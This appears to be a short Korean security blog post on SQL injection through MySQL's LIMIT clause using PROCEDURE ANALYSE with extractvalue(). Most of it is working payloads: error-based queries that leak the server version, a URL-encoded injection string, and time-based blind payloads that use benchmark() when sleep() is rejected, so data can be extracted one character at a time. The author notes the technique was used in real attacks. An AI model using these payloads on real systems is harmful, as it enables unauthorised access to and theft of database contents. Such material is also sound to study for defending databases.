https://tempuss.tistory.com/entry/Limit-%EC%A0%88%EC%97%90%EC%84%9C%EC%9D%98-SQL-Injection
참고
CTF가 아닌 현업에서 실제로 실행된 사례가 있어서 참고함
그중에서 사용되는 함수는 다양하지만
extractvalue()라는 함수가 있습니다.
mysql> SELECT * FROM user WHERE id='admin' limit 1 procedure analyse(extractvalue(1,concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community' mysql>
이렇게 하면 version을 뽑을 수 있습니다.
그 외에도 information_schema에 접근하여 DB와 테이블명에 대해서도 뽑아 올 수 있습니다.
쿼리)
procedure%20analyse(extractvalue(1,concat(0x3a,version())),1)
- error base
mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, version())), 1);
ERROR 1105 (HY000): XPATH syntax error: ':5.1.41-community'
- blind
mysql > SELECT id FROM test WHERE id='admin' limit 0,1 procedure analyse(extractvalue(1, concat(0x3a, (if(mid(version(),1,1) like 5, sleep(5),1))), 1);
limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,sleep(1),0))),1);
-> Only constant XPATH queries are supported
sleep 함수대신 benchmark 함수를 써본다.
limit 1 procedure analyse(extractvalue(1,concat(0x3a,if(ascii(substr(version(),1,1))>10,benchmark(1000000,sha('a')),0))),1);
성공적으로 시간지연이 일어나고 한글자씩 추출해낼 수 있다.
'웹' 카테고리의 다른 글
Burp Suite 단축키 관련 (0) | 2020.09.02 |
---|---|
Spring mybatis SQL 인젝션 대응 (0) | 2020.08.20 |
CORS (Cross Origin Resource Sharing) (0) | 2020.08.11 |
DNS Rebinding 을 이용한 우회 (0) | 2020.08.10 |
Web Assembly 시작 (0) | 2020.08.09 |